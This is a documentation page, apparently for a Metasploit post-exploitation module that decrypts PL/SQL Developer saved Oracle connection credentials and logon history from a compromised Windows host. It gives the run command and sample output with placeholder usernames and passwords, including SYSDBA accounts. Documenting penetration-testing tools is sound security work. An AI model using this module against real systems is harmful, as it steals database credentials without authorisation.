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Plsql Developer

documentation/modules/post/windows/gather/credentials/plsql_developer.md

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Vulnerable Application

This module can decrypt the histories and connection credentials of PL/SQL Developer, and passwords are available if the user chooses to remember.

Analysis of encryption algorithm here. You can find its official website here.

Verification Steps

  1. Download and install PL/SQL Developer.
  2. (Optional) Change the PL/SQL Developer preference to save the passwords.
  3. Use PL/SQL Developer to log in to oracle databases. Or add a connection in PL/SQL Developer manually.
  4. Get a meterpreter session on a Windows host.
  5. Do: run post/windows/gather/credentials/plsql_developer
  6. The username, password, SID of connections will be printed.

Options

PLSQL_PATH

  • Specify the path of PL/SQL Developer

Scenarios

meterpreter > run windows/gather/credentials/plsql_developer

[*] Gather PL/SQL Developer Histories and Connections on WIN-XXXXXXXXXXX
[*] Decrypting C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs
[*] Decrypting C:\Users\Administrator\AppData\Roaming\PLSQL Developer 14\Preferences\Administrator\user.prefs
[*] Decrypting C:\Users\Administrator\AppData\Roaming\PLSQL Developer 15\Preferences\Administrator\user.prefs
PL/SQL Developer Histories and Credentials
==========================================

DisplayName                              Username  Database  ConnectAs  Password   FilePath
-----------                              --------  --------  ---------  --------   --------
[Connections]/Imported Fixed Users/Test  sys       ORCL      SYSDBA     pass       C:\Users\Administrator\AppData\Roaming\PLSQL Developer 15\Preferences\Administrator\user.prefs
[Connections]/Imported History/Test      sys       ORCL      SYSDBA     oracle     C:\Users\Administrator\AppData\Roaming\PLSQL Developer 14\Preferences\Administrator\user.prefs
[LogonHistory]                           test2     ORCL      Normal     password2  C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs
[LogonHistory]                           test1     ORCL      Normal                C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs
[LogonHistory]                           sys       ORCL      SYSDBA     oracle     C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs
[LogonHistory]                           user      server    Normal     password   C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs

[+] Passwords stored in: C:/Users/Administrator/.msf4/loot/20231109050433_default_127.0.0.1_host.plsql_devel_357810.txt
meterpreter >